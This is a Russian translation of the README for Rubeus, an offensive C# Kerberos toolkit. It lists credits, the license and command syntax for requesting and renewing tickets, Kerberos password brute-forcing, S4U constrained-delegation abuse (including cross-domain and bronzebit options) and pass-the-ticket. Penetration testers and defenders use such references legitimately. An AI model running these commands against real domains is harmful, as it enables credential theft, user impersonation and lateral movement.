
Набор инструментов на C# для прямого взаимодействия с Kerberos и его злоупотребления: запросы TGT/TGS, злоупотребление делегированием S4U, Kerberoasting, AS-REP roasting и сбор тикетов.
Rubeus — это набор инструментов на C# для прямого взаимодействия с Kerberos и злоупотребления его механизмами. Он в значительной степени адаптирован из проекта Kekeo Benjamin Delpy (лицензия CC BY-NC-SA 4.0) и проекта MakeMeEnterpriseAdmin Vincent LE TOUX (лицензия GPL v3.0). Вся заслуга принадлежит Benjamin и Vincent за проработку сложных компонентов вооружения — без их предшествующей работы этот проект не существовал бы.
Charlie Clark и Ceri Coburn внесли значительный вклад в кодовую базу Rubeus. Elad Shamir внёс важную работу для resource-based constrained delegation. Их труд очень ценится!
Rubeus также использует библиотеку разбора/кодирования ASN.1 на C# от Thomas Pornin под названием DDer, выпущенную под «MIT-подобной» лицензией. Огромная благодарность Thomas за его чистый и стабильный код!
Код PKINIT в значительной степени адаптирован из инструмента Bruce @SteveSyfuhs. Bruce сделал RFC4556 (PKINIT) намного проще для понимания. Огромная благодарность Steve!
Метод KerberosRequestorSecurityToken.GetRequest для Kerberoasting был добавлен в PowerView (а затем включён в Rubeus) пользователем @machosec.
@harmj0y — основной автор этой кодовой базы.
Rubeus распространяется под лицензией BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
Запросы и продление билетов:
Получить TGT на основе пароля/хеша пользователя, с возможностью сохранения в файл или применения к текущей сессии входа либо к определённому LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]
Получить TGT на основе пароля/хеша пользователя, запустить процесс /netonly и применить билет к новой сессии процесса/входа:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]
Получить TGT с использованием сертификата PCKS12, запустить процесс /netonly и применить билет к новой сессии процесса/входа:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Получить TGT с использованием сертификата из хранилища ключей пользователя (смарт-карты), указав отпечаток или субъект сертификата, запустить процесс /netonly и применить билет к новой сессии процесса/входа:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Получить служебный билет для одного или нескольких SPN, с возможностью сохранения или применения билета:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/usesvcdomain]
Продлить TGT, с возможностью применения билета, его сохранения или автоматического продления билета до предела renew-till:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Выполнить атаку перебора паролей на основе Kerberos:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Злоупотребление ограниченным делегированием:
Выполнить злоупотребление ограниченным делегированием S4U:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]
Выполнить злоупотребление ограниченным делегированием S4U между доменами:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]
Управление билетами:
Отправить TGT, с возможностью нацеливания на определённый LUID (при наличии повышенных прав):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Очистить билеты из текущей сессии входа, с возможностью нацеливания на определённый LUID (при наличии повышенных прав):
Rubeus.exe purge [/luid:LOGINID]